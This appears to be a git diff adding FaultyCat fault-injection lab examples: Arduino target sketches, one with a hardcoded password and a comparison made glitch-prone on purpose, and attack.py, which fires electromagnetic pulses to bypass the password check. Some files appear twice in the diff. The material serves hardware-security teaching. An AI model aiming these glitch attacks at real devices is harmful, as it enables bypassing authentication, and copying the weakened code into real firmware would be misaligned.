diff --git a/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png b/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png
new file mode 100644
index 0000000..184f47e
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png
Binary files differ
diff --git a/FaultInjection/examples/FaultyCat/03_password_check/attack.py b/FaultInjection/examples/FaultyCat/03_password_check/attack.py
new file mode 100644
index 0000000..5855b9c
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/03_password_check/attack.py
@@ -0,0 +1,200 @@
+import sys
+import time
+import pexpect  # Required to handle screen sessions
+import threading
+from Modules import Worker
+
+DEFAULT_COMPORT = "/dev/ttyACM0"
+SCREEN_NAME = "ttyUSB0_screen"  # Replace this with the actual screen session name
+
+# Initialize the FaultyWorker
+faulty_worker = Worker.FaultyWorker()
+# Shared variable to store the response from the device
+device_response = None
+child = None  # Global child variable
+
+def initialize_child():
+    """Initialize the global child process for the screen session."""
+    global child
+    child = pexpect.spawn(f'screen -x {SCREEN_NAME}', encoding='utf-8')
+    child.expect(pexpect.TIMEOUT, timeout=1)  # Clear out any pre-existing buffer
+
+def send_test_message_and_read_response():
+    """Send 'ping' via screen to a serial device and check for 'correct!\\n' or 'incorrect\\n'."""
+    global child
+
+    # Send 'ping' to the screen session
+    child.sendline("ping")
+    sys.stdout.write("\rSent 'ping' to screen session.")
+    sys.stdout.flush()
+
+    # Wait a bit to ensure the command is processed
+    time.sleep(0.5)  
+
+    # Try reading any new output from the screen session
+    try:
+        response = child.read_nonblocking(size=1024, timeout=2)  # Read up to 1024 bytes of new data
+        if "pong" in response:
+            sys.stdout.write("\rReceived 'pong' response.")
+            return True
+        else:
+            sys.stdout.write(f"\rReceived unexpected response: {response}")
+        sys.stdout.flush()
+    except pexpect.exceptions.TIMEOUT:
+        sys.stdout.write("\rNo response received from the screen session (timeout).")
+        sys.stdout.flush()
+
+    return False
+
+def read_screen_output():
+    """Read output from the screen session in a separate thread."""
+    global device_response
+    buffer = ""  # Initialize a buffer to store incoming characters
+
+    try:
+        while True:
+            response = child.read_nonblocking(size=1024, timeout=2)  # Read up to 1024 bytes of new data
+            buffer += response  # Append the new response to the buffer
+            
+            # Check if there's a complete line in the buffer
+            while "\n" in buffer:
+                line, buffer = buffer.split("\n", 1)  # Split the buffer at the first newline
+                line = line.strip()  # Remove any leading/trailing whitespace
+
+                # Check for specific responses
+                if "incorrect!" in line:
+                    #sys.stdout.write("\rReceived 'incorrect' response.")
+                    device_response = 'incorrect'
+                    return  # Exit the loop on incorrect response
+                elif "correct" in line:
+                    # Die here: Echo message, disarm device, and kill the program
+                    sys.stdout.write("\nReceived 'correct' response.\n PWNT, U R ADMIN\n Disarming the device and exiting...\n")
+                    sys.stdout.flush()
+
+                    # Disarm the board
+                    faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8"))
+                    faulty_worker.board_uart.close()
+
+                    # Exit the program
+                    sys.exit(0)
+
+                else:
+                    sys.stdout.write(f"\rReceived unexpected response: {line}")
+                    sys.stdout.flush()
+
+    except pexpect.exceptions.TIMEOUT:
+        sys.stdout.write("\rNo response received from the screen session (timeout).")
+        sys.stdout.flush()
+    except Exception as e:
+        sys.stdout.write(f"\rError reading from screen session: {e}")
+        sys.stdout.flush()
+
+def send_pulse_and_check_response():
+    """Send a pulse and check for 'correct!\\n' or 'incorrect\\n' response in parallel."""
+    global device_response
+    try:
+        # Wait a bit to ensure the command is processed
+          
+
+        # Send 'incorrectPassword' command to the screen session
+        sys.stdout.write("\rSending 'incorrectPassword' to screen session.")
+        sys.stdout.flush()
+        child.sendline("incorrectPassword")
+        
+        time.sleep(0.35)
+
+        # Send 'pulse' command (simulating the pulse trigger)
+        faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_PULSE.value.encode("utf-8"))
+        sys.stdout.write("\rSent pulse...")
+        sys.stdout.flush()
+
+        # Start a thread to read the screen output
+        reader_thread = threading.Thread(target=read_screen_output)
+        reader_thread.start()
+
+        # Wait for the reading thread to complete
+        reader_thread.join()
+        
+    except Exception as e:
+        sys.stdout.write(f"\rError interacting with screen session during pulse: {e}")
+        sys.stdout.flush()
+        return False
+
+def start_faulty_attack():
+    """Send a pulse through the FaultyCat and listen for the response concurrently."""
+    global child
+    try:
+        # Initialize the child process for screen session
+        initialize_child()
+
+        # Open FaultyCat connection
+        faulty_worker.board_uart.open()
+        time.sleep(0.1)
+        sys.stdout.write("\rBoard connected.\n")
+        sys.stdout.flush()
+
+        # Arming the board
+        sys.stdout.write("\r[*] ARMING BOARD, BE CAREFUL!\n")
+        sys.stdout.flush()
+        faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8"))
+        time.sleep(1)
+        faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_ARM.value.encode("utf-8"))
+
+        sys.stdout.write("\r[*] ARMED BOARD.\n")
+        sys.stdout.flush()
+        time.sleep(1)
+
+        # Sending pulses and checking responses in a loop (up to 5 times)
+        max_iterations = 5
+        for i in range(max_iterations):
+            sys.stdout.write(f"\rLoop {i+1}/{max_iterations}: Sending pulse and checking response.\n")
+            sys.stdout.flush()
+
+            # Send the test message and check for pong
+            if send_test_message_and_read_response():
+
+                max_iterations_2 = 3
+                for j in range(max_iterations_2):
+                    # Send pulse and check for correct/incorrect response
+                    if send_pulse_and_check_response():
+                        break  # Break the loop if 'correct!' is received
+
+            # Small delay before next iteration
+            time.sleep(1)
+
+        # Disarm the board
+        sys.stdout.write("\rDISARMING BOARD.                          \n")
+        sys.stdout.flush()
+        faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8"))
+        faulty_worker.board_uart.close()
+        sys.stdout.write("\rBOARD DISARMED.\n")
+        sys.stdout.flush()
+    except Exception as e:
+        sys.stdout.write(f"\rError: {e}\n")
+        sys.stdout.flush()
+    finally:
+        # Make sure to clean up the child process
+        if child:
+            child.close()
+
+def faulty():
+    """Configure and send pulses through the FaultyCat."""
+    comport = DEFAULT_COMPORT
+
+    print("Configuring the FaultyCat...")
+    print(f"Using serial port: {comport}")
+
+    # Set the serial port
+    faulty_worker.set_serial_port(comport)
+
+    # Validate the serial connection
+    if not faulty_worker.validate_serial_connection():
+        print(f"Error: Could not establish connection on: {comport}")
+        return
+
+    # Start the faulty attack (send pulse)
+    start_faulty_attack()
+
+if __name__ == "__main__":
+    print("Starting FaultyCat...")
+    faulty()
diff --git a/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino b/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino
new file mode 100644
index 0000000..ec5db1f
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino
@@ -0,0 +1,83 @@
+#include <SoftwareSerial.h>
+
+#define RX    3   // *** D3, Pin 2
+#define TX    4   // *** D4, Pin 3
+SoftwareSerial Serial(RX, TX);
+
+const String correctPassword = "secure123";  // Hardcoded password
+String inputString = "";                     // Variable to hold user input
+bool stringComplete = false;                 // Flag to indicate when a string is complete
+bool loggedIn = false;
+
+void setup() {
+  Serial.begin(9600);
+  Serial.println(" ");
+  Serial.println("Initializing...");
+  delay(200);  // Delay for initialization
+  Serial.print("[-]> ");
+}
+
+void prompt(){
+  // Reset for the next input without checking password
+  inputString = "";
+  stringComplete = false;
+  if(loggedIn == false){
+    Serial.print("[-]"); // not logged in 
+  }else{
+    Serial.print("[+]"); // logged in
+  }
+  Serial.print("> ");
+}
+
+void loop() {
+  // If the string is complete, process the input
+  if (stringComplete) {
+    // Glitch-prone section: making the comparison more complex and glitch-susceptible
+    volatile bool match = false;  // Using 'volatile' to increase glitch vulnerability
+    
+    // Introduce some artificial delays (vulnerable points for glitching)
+    for (volatile int i = 0; i < 100; i++) {
+      delayMicroseconds(1);  // Short delay to give more opportunity for glitches
+    }
+    
+    // Dummy operation: XOR password with itself (reversible) before comparison
+    volatile String tempPassword = correctPassword;
+    for (int i = 0; i < tempPassword.length(); i++) {
+      tempPassword[i] ^= 0xFF;  // XOR with 0xFF (dummy operation to increase complexity)
+      tempPassword[i] ^= 0xFF;  // XOR back to restore original password
+    }
+
+    // Check if input is "ping"
+    if (inputString == "ping") {
+      Serial.println("pong");  // Respond with "pong" if input is "ping"
+      prompt();
+      return;  // Exit the loop to avoid further processing (no "Password incorrect!" after "pong")
+    }
+    // Now compare the user input with the hardcoded password, but with timing window
+    else if (inputString == correctPassword) {
+      match = true;  // Passwords match
+    }
+
+    // Add a chance for glitches to affect this critical condition
+    if (match) {
+      Serial.println("Password correct!");
+      loggedIn = true;
+    } else {
+      Serial.println("Password incorrect!");
+    }
+    prompt();
+  }
+
+  // Listen for input from the user
+  while (Serial.available()) {
+    char inChar = (char)Serial.read();  // Read the incoming character
+    
+    // Check if it is the return character (indicating the end of input)
+    if (inChar == '\r' || inChar == '\n') {
+      stringComplete = true;
+    } else {
+      // Append the character to the input string
+      inputString += inChar;
+    }
+  }
+}
diff --git a/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png b/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png
new file mode 100644
index 0000000..05d97a6
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png
Binary files differ
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py b/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py
new file mode 100644
index 0000000..0aacecf
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py
@@ -0,0 +1,80 @@
+import cmd
+import typer
+from rich.console import Console
+from rich.table import Table
+
+
+def is_valid_number(number):
+    if number < 0:
+        raise typer.BadParameter("Number must be positive.")
+    return number
+
+class CMDInterface(cmd.Cmd):
+    intro = "Type help or ? to list commands.\n"
+    prompt = "?> "
+    file = None
+    doc_header = "Commands"
+    misc_header = "Misc Commands"
+    undoc_header = "Undocumented Commands"
+
+    def __init__(self, faulty_worker):
+        super().__init__()
+        self.faulty_worker = faulty_worker
+
+    def do_config(self, args):
+        """Configure the FaultyCat."""
+        print("Configuring the FaultyCat...")
+        table_config = Table(title="Board configuration")
+        table_config.add_column("Parameter", style="cyan")
+        table_config.add_column("Value", style="magenta")
+        table_config.add_row(
+            "Serial port", f"{self.faulty_worker.board_uart.serial_worker.port}"
+        )
+        table_config.add_row(
+            "Pulse time",
+            f"{self.faulty_worker.board_configurator.BOARD_CONFIG['pulse_time']}",
+        )
+        table_config.add_row(
+            "Pulse power",
+            f"{self.faulty_worker.board_configurator.BOARD_CONFIG['pulse_power']}",
+        )
+        table_config.add_row("Pulse count", f"{self.faulty_worker.pulse_count}")
+        Console().print(table_config)
+
+    def do_set(self, args):
+        """Set a parameter."""
+        print("Setting a parameter...")
+        args_list = args.split()
+        if args == "help" or args == "?":
+            print("Available parameters:")
+            print("\t[time] pulse_time")
+            print("\t[count] pulse_count")
+            print("\tport")
+            return
+
+        if len(args_list) != 2:
+            print("Invalid number of arguments.")
+            return
+
+        if args_list[0] == "pulse_time" or args_list[0] == "time":
+            self.faulty_worker.set_pulse_time(is_valid_number(float(args_list[1])))
+
+        if args_list[0] == "pulse_count" or args_list[0] == "count":
+            self.faulty_worker.set_pulse_count(is_valid_number(int(args_list[1])))
+
+        if args_list[0] == "port":
+            self.faulty_worker.set_serial_port(args_list[1])
+            if not self.faulty_worker.validate_serial_connection():
+                typer.secho("Invalid serial port.", fg=typer.colors.BRIGHT_RED)
+                return
+
+        self.do_config(args)
+
+    def do_start(self, args):
+        """Start the FaultyCat."""
+        print("Starting the FaultyCat...")
+        self.faulty_worker.start_faulty_attack()
+
+    def do_exit(self, line):
+        """Exit the CLI."""
+        return True

diff --git a/FaultInjection/README.md b/FaultInjection/README.md
new file mode 100644
index 0000000..3c9e6b2
--- /dev/null
+++ b/FaultInjection/README.md
@@ -0,0 +1,4 @@
+Fault Injection
+===============
+
+Dump of useful fault injection / glitching scripts and examples
\ No newline at end of file
diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png b/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png
new file mode 100644
index 0000000..41bfaca
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png
Binary files differ
diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino
new file mode 100644
index 0000000..abd3514
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino
@@ -0,0 +1,16 @@
+#include <SoftwareSerial.h>
+
+#define RX    3   // *** D3, Pin 2
+#define TX    4   // *** D4, Pin 3
+SoftwareSerial Serial(RX, TX);
+
+void setup(){
+  Serial.begin(9600);
+  Serial.println("Initializing...");
+}
+
+void loop() {
+  // put your main code here, to run repeatedly:
+  Serial.println("running");
+  delay(1000);
+}
diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino
new file mode 100644
index 0000000..8ae9bee
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino
@@ -0,0 +1,37 @@
+#include <SoftwareSerial.h>
+
+#define RX    3   // *** D3, Pin 2
+#define TX    4   // *** D4, Pin 3
+SoftwareSerial Serial(RX, TX);
+
+void setup() {
+  Serial.begin(9600);
+  Serial.println(" ");
+  Serial.println("Initializing...");
+  delay(2000);  // Delay to give time for the setup message
+}
+
+void loop() {
+  static int dotCount = 0;  // Keeps track of how many dots are printed
+  
+  // Create the base "running" message followed by spaces to clear previous dots
+  Serial.print("running");
+  
+  // Add the appropriate number of dots
+  for (int i = 0; i < dotCount; i++) {
+    Serial.print(".");
+  }
+  
+  // Clear any extra dots from previous loops by adding spaces
+  for (int i = dotCount; i < 3; i++) {
+    Serial.print(" ");
+  }
+  
+  // Use carriage return to overwrite the line on the next iteration
+  Serial.print("\r");
+
+  // Update the dot count, cycling from 0 to 3
+  dotCount = (dotCount + 1) % 4;  // Cycles through 0, 1, 2, 3 dots
+  
+  delay(1000);  // 1-second delay before updating
+}
diff --git a/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino b/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino
new file mode 100644
index 0000000..e9ffa78
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino
@@ -0,0 +1,62 @@
+#include <SoftwareSerial.h>
+
+#define RX    3   // *** D3, Pin 2
+#define TX    4   // *** D4, Pin 3
+SoftwareSerial Serial(RX, TX);
+
+void setup() {
+  Serial.begin(9600);
+  Serial.println(" ");
+  Serial.println("Initializing...");
+  randomSeed(analogRead(0));  // Seed the random number generator for more randomness
+  delay(2000);  // Delay for initialization
+}
+
+void loop() {
+  // Generate one random number and assign it to both variables
+  volatile int originalNumber = random(10, 100);  
+  volatile int num1 = originalNumber;
+  volatile int num2 = originalNumber;
+
+  // Perform reversible operations to increase glitch susceptibility but keep values comparable
+  num1 = num1 ^ 0x55;  // XOR num1 with 0x55
+  num2 = num2 ^ 0x55;  // XOR num2 with 0x55
+  
+  delayMicroseconds(5);  // Critical timing for glitches
+
+  num1 = num1 ^ 0x55;  // XOR again to reverse
+  num2 = num2 ^ 0x55;  // XOR again to reverse
+
+  delayMicroseconds(5);  // Another critical timing for glitches
+
+  // Extract the first and second digits
+  volatile int num1FirstDigit = num1 / 10;   // Get the first digit of num1
+  volatile int num1SecondDigit = num1 % 10;  // Get the second digit of num1
+
+  delayMicroseconds(5);  // More chances for glitches
+  
+  volatile int num2FirstDigit = num2 / 10;   // Get the first digit of num2
+  volatile int num2SecondDigit = num2 % 10;  // Get the second digit of num2
+
+  delayMicroseconds(5);  // Increased vulnerability
+
+  // Check if the numbers still match after the potential glitch
+  int match = 0;
+  if (num1FirstDigit == num2FirstDigit) {
+    if (num1SecondDigit == num2SecondDigit) {
+       match = 1;
+    }
+  }
+  
+  if (match == 1) {
+    Serial.print("Numbers match: "); Serial.print(num1); Serial.print(" "); Serial.print(num2); Serial.print("\r");
+  } else {
+    Serial.print("Glitch detected! Numbers do not match: ");
+    Serial.print(num1); Serial.print(" "); Serial.print(num2);
+    Serial.print(" ("); Serial.print(num1FirstDigit); Serial.print(":"); Serial.print(num1SecondDigit); Serial.print(") ");
+    Serial.print("("); Serial.print(num2FirstDigit); Serial.print(":"); Serial.print(num2SecondDigit); Serial.println(")");
+    Serial.println(" ");
+  }
+  
+  delay(100);  // Shorter delay to increase glitch detection chances
+}
diff --git a/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png b/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png
new file mode 100644
index 0000000..184f47e
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png
Binary files differ
diff --git a/FaultInjection/examples/FaultyCat/03_password_check/attack.py b/FaultInjection/examples/FaultyCat/03_password_check/attack.py
new file mode 100644
index 0000000..5855b9c
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/03_password_check/attack.py
@@ -0,0 +1,200 @@
+import sys
+import time
+import pexpect  # Required to handle screen sessions
+import threading
+from Modules import Worker
+
+DEFAULT_COMPORT = "/dev/ttyACM0"
+SCREEN_NAME = "ttyUSB0_screen"  # Replace this with the actual screen session name
+
+# Initialize the FaultyWorker
+faulty_worker = Worker.FaultyWorker()
+# Shared variable to store the response from the device
+device_response = None
+child = None  # Global child variable
+
+def initialize_child():
+    """Initialize the global child process for the screen session."""
+    global child
+    child = pexpect.spawn(f'screen -x {SCREEN_NAME}', encoding='utf-8')
+    child.expect(pexpect.TIMEOUT, timeout=1)  # Clear out any pre-existing buffer
+
+def send_test_message_and_read_response():
+    """Send 'ping' via screen to a serial device and check for 'correct!\\n' or 'incorrect\\n'."""
+    global child
+
+    # Send 'ping' to the screen session
+    child.sendline("ping")
+    sys.stdout.write("\rSent 'ping' to screen session.")
+    sys.stdout.flush()
+
+    # Wait a bit to ensure the command is processed
+    time.sleep(0.5)  
+
+    # Try reading any new output from the screen session
+    try:
+        response = child.read_nonblocking(size=1024, timeout=2)  # Read up to 1024 bytes of new data
+        if "pong" in response:
+            sys.stdout.write("\rReceived 'pong' response.")
+            return True
+        else:
+            sys.stdout.write(f"\rReceived unexpected response: {response}")
+        sys.stdout.flush()
+    except pexpect.exceptions.TIMEOUT:
+        sys.stdout.write("\rNo response received from the screen session (timeout).")
+        sys.stdout.flush()
+
+    return False
+
+def read_screen_output():
+    """Read output from the screen session in a separate thread."""
+    global device_response
+    buffer = ""  # Initialize a buffer to store incoming characters
+
+    try:
+        while True:
+            response = child.read_nonblocking(size=1024, timeout=2)  # Read up to 1024 bytes of new data
+            buffer += response  # Append the new response to the buffer
+            
+            # Check if there's a complete line in the buffer
+            while "\n" in buffer:
+                line, buffer = buffer.split("\n", 1)  # Split the buffer at the first newline
+                line = line.strip()  # Remove any leading/trailing whitespace
+
+                # Check for specific responses
+                if "incorrect!" in line:
+                    #sys.stdout.write("\rReceived 'incorrect' response.")
+                    device_response = 'incorrect'
+                    return  # Exit the loop on incorrect response
+                elif "correct" in line:
+                    # Die here: Echo message, disarm device, and kill the program
+                    sys.stdout.write("\nReceived 'correct' response.\n PWNT, U R ADMIN\n Disarming the device and exiting...\n")
+                    sys.stdout.flush()
+
+                    # Disarm the board
+                    faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8"))
+                    faulty_worker.board_uart.close()
+
+                    # Exit the program
+                    sys.exit(0)
+
+                else:
+                    sys.stdout.write(f"\rReceived unexpected response: {line}")
+                    sys.stdout.flush()
+
+    except pexpect.exceptions.TIMEOUT:
+        sys.stdout.write("\rNo response received from the screen session (timeout).")
+        sys.stdout.flush()
+    except Exception as e:
+        sys.stdout.write(f"\rError reading from screen session: {e}")
+        sys.stdout.flush()
+
+def send_pulse_and_check_response():
+    """Send a pulse and check for 'correct!\\n' or 'incorrect\\n' response in parallel."""
+    global device_response
+    try:
+        # Wait a bit to ensure the command is processed
+          
+
+        # Send 'incorrectPassword' command to the screen session
+        sys.stdout.write("\rSending 'incorrectPassword' to screen session.")
+        sys.stdout.flush()
+        child.sendline("incorrectPassword")
+        
+        time.sleep(0.35)
+
+        # Send 'pulse' command (simulating the pulse trigger)
+        faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_PULSE.value.encode("utf-8"))
+        sys.stdout.write("\rSent pulse...")
+        sys.stdout.flush()
+
+        # Start a thread to read the screen output
+        reader_thread = threading.Thread(target=read_screen_output)
+        reader_thread.start()
+
+        # Wait for the reading thread to complete
+        reader_thread.join()
+        
+    except Exception as e:
+        sys.stdout.write(f"\rError interacting with screen session during pulse: {e}")
+        sys.stdout.flush()
+        return False
+
+def start_faulty_attack():
+    """Send a pulse through the FaultyCat and listen for the response concurrently."""
+    global child
+    try:
+        # Initialize the child process for screen session
+        initialize_child()
+
+        # Open FaultyCat connection
+        faulty_worker.board_uart.open()
+        time.sleep(0.1)
+        sys.stdout.write("\rBoard connected.\n")
+        sys.stdout.flush()
+
+        # Arming the board
+        sys.stdout.write("\r[*] ARMING BOARD, BE CAREFUL!\n")
+        sys.stdout.flush()
+        faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8"))
+        time.sleep(1)
+        faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_ARM.value.encode("utf-8"))
+
+        sys.stdout.write("\r[*] ARMED BOARD.\n")
+        sys.stdout.flush()
+        time.sleep(1)
+
+        # Sending pulses and checking responses in a loop (up to 5 times)
+        max_iterations = 5
+        for i in range(max_iterations):
+            sys.stdout.write(f"\rLoop {i+1}/{max_iterations}: Sending pulse and checking response.\n")
+            sys.stdout.flush()
+
+            # Send the test message and check for pong
+            if send_test_message_and_read_response():
+
+                max_iterations_2 = 3
+                for j in range(max_iterations_2):
+                    # Send pulse and check for correct/incorrect response
+                    if send_pulse_and_check_response():
+                        break  # Break the loop if 'correct!' is received
+
+            # Small delay before next iteration
+            time.sleep(1)
+
+        # Disarm the board
+        sys.stdout.write("\rDISARMING BOARD.                          \n")
+        sys.stdout.flush()
+        faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8"))
+        faulty_worker.board_uart.close()
+        sys.stdout.write("\rBOARD DISARMED.\n")
+        sys.stdout.flush()
+    except Exception as e:
+        sys.stdout.write(f"\rError: {e}\n")
+        sys.stdout.flush()
+    finally:
+        # Make sure to clean up the child process
+        if child:
+            child.close()
+
+def faulty():
+    """Configure and send pulses through the FaultyCat."""
+    comport = DEFAULT_COMPORT
+
+    print("Configuring the FaultyCat...")
+    print(f"Using serial port: {comport}")
+
+    # Set the serial port
+    faulty_worker.set_serial_port(comport)
+
+    # Validate the serial connection
+    if not faulty_worker.validate_serial_connection():
+        print(f"Error: Could not establish connection on: {comport}")
+        return
+
+    # Start the faulty attack (send pulse)
+    start_faulty_attack()
+
+if __name__ == "__main__":
+    print("Starting FaultyCat...")
+    faulty()
diff --git a/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino b/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino
new file mode 100644
index 0000000..ec5db1f
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino
@@ -0,0 +1,83 @@
+#include <SoftwareSerial.h>
+
+#define RX    3   // *** D3, Pin 2
+#define TX    4   // *** D4, Pin 3
+SoftwareSerial Serial(RX, TX);
+
+const String correctPassword = "secure123";  // Hardcoded password
+String inputString = "";                     // Variable to hold user input
+bool stringComplete = false;                 // Flag to indicate when a string is complete
+bool loggedIn = false;
+
+void setup() {
+  Serial.begin(9600);
+  Serial.println(" ");
+  Serial.println("Initializing...");
+  delay(200);  // Delay for initialization
+  Serial.print("[-]> ");
+}
+
+void prompt(){
+  // Reset for the next input without checking password
+  inputString = "";
+  stringComplete = false;
+  if(loggedIn == false){
+    Serial.print("[-]"); // not logged in 
+  }else{
+    Serial.print("[+]"); // logged in
+  }
+  Serial.print("> ");
+}
+
+void loop() {
+  // If the string is complete, process the input
+  if (stringComplete) {
+    // Glitch-prone section: making the comparison more complex and glitch-susceptible
+    volatile bool match = false;  // Using 'volatile' to increase glitch vulnerability
+    
+    // Introduce some artificial delays (vulnerable points for glitching)
+    for (volatile int i = 0; i < 100; i++) {
+      delayMicroseconds(1);  // Short delay to give more opportunity for glitches
+    }
+    
+    // Dummy operation: XOR password with itself (reversible) before comparison
+    volatile String tempPassword = correctPassword;
+    for (int i = 0; i < tempPassword.length(); i++) {
+      tempPassword[i] ^= 0xFF;  // XOR with 0xFF (dummy operation to increase complexity)
+      tempPassword[i] ^= 0xFF;  // XOR back to restore original password
+    }
+
+    // Check if input is "ping"
+    if (inputString == "ping") {
+      Serial.println("pong");  // Respond with "pong" if input is "ping"
+      prompt();
+      return;  // Exit the loop to avoid further processing (no "Password incorrect!" after "pong")
+    }
+    // Now compare the user input with the hardcoded password, but with timing window
+    else if (inputString == correctPassword) {
+      match = true;  // Passwords match
+    }
+
+    // Add a chance for glitches to affect this critical condition
+    if (match) {
+      Serial.println("Password correct!");
+      loggedIn = true;
+    } else {
+      Serial.println("Password incorrect!");
+    }
+    prompt();
+  }
+
+  // Listen for input from the user
+  while (Serial.available()) {
+    char inChar = (char)Serial.read();  // Read the incoming character
+    
+    // Check if it is the return character (indicating the end of input)
+    if (inChar == '\r' || inChar == '\n') {
+      stringComplete = true;
+    } else {
+      // Append the character to the input string
+      inputString += inChar;
+    }
+  }
+}
diff --git a/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png b/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png
new file mode 100644
index 0000000..05d97a6
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png
Binary files differ
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py b/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py
new file mode 100644
index 0000000..0aacecf
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py
@@ -0,0 +1,80 @@
+import cmd
+import typer
+from rich.console import Console
+from rich.table import Table
+
+
+def is_valid_number(number):
+    if number < 0:
+        raise typer.BadParameter("Number must be positive.")
+    return number
+
+class CMDInterface(cmd.Cmd):
+    intro = "Type help or ? to list commands.\n"
+    prompt = "?> "
+    file = None
+    doc_header = "Commands"
+    misc_header = "Misc Commands"
+    undoc_header = "Undocumented Commands"
+
+    def __init__(self, faulty_worker):
+        super().__init__()
+        self.faulty_worker = faulty_worker
+
+    def do_config(self, args):
+        """Configure the FaultyCat."""
+        print("Configuring the FaultyCat...")
+        table_config = Table(title="Board configuration")
+        table_config.add_column("Parameter", style="cyan")
+        table_config.add_column("Value", style="magenta")
+        table_config.add_row(
+            "Serial port", f"{self.faulty_worker.board_uart.serial_worker.port}"
+        )
+        table_config.add_row(
+            "Pulse time",
+            f"{self.faulty_worker.board_configurator.BOARD_CONFIG['pulse_time']}",
+        )
+        table_config.add_row(
+            "Pulse power",
+            f"{self.faulty_worker.board_configurator.BOARD_CONFIG['pulse_power']}",
+        )
+        table_config.add_row("Pulse count", f"{self.faulty_worker.pulse_count}")
+        Console().print(table_config)
+
+    def do_set(self, args):
+        """Set a parameter."""
+        print("Setting a parameter...")
+        args_list = args.split()
+        if args == "help" or args == "?":
+            print("Available parameters:")
+            print("\t[time] pulse_time")
+            print("\t[count] pulse_count")
+            print("\tport")
+            return
+
+        if len(args_list) != 2:
+            print("Invalid number of arguments.")
+            return
+
+        if args_list[0] == "pulse_time" or args_list[0] == "time":
+            self.faulty_worker.set_pulse_time(is_valid_number(float(args_list[1])))
+
+        if args_list[0] == "pulse_count" or args_list[0] == "count":
+            self.faulty_worker.set_pulse_count(is_valid_number(int(args_list[1])))
+
+        if args_list[0] == "port":
+            self.faulty_worker.set_serial_port(args_list[1])
+            if not self.faulty_worker.validate_serial_connection():
+                typer.secho("Invalid serial port.", fg=typer.colors.BRIGHT_RED)
+                return
+
+        self.do_config(args)
+
+    def do_start(self, args):
+        """Start the FaultyCat."""
+        print("Starting the FaultyCat...")
+        self.faulty_worker.start_faulty_attack()
+
+    def do_exit(self, line):
+        """Exit the CLI."""
+        return True
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/ConfigBoard.py b/FaultInjection/prereqs/FaultyCat/Modules/ConfigBoard.py
new file mode 100644
index 0000000..f795f79
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/ConfigBoard.py
@@ -0,0 +1,61 @@
+from enum import Enum
+
+class Commands(Enum):
+    COMMAND_HELP              = "h"
+    COMMAND_ARM               = "a"
+    COMMAND_DISARM            = "d"
+    COMMAND_PULSE             = "p"
+    COMMAND_ENABLE_TIMEOUT    = "en"
+    COMMAND_DISABLE_TIMEOUT   = "di"
+    COMMAND_FAST_TRIGGER      = "f"
+    COMMAND_FAST_TRIGGER_CONF = "fa"
+    COMMAND_INTERNAL_HVP      = "ih"
+    COMMAND_EXTERNAL_HVP      = "eh"
+    COMMAND_CONFIGURE         = "c"
+    COMMAND_TOGGLE_GPIO       = "t"
+    COMMAND_STATUS            = "s"
+    COMMAND_RESET             = "r"
+    
+    def __str__(self):
+        return self.value
+
+class BoardStatus(Enum):
+    STATUS_ARMED          = "armed"
+    STATUS_DISARMED       = "disarmed"
+    STATUS_CHARGED        = "charged"
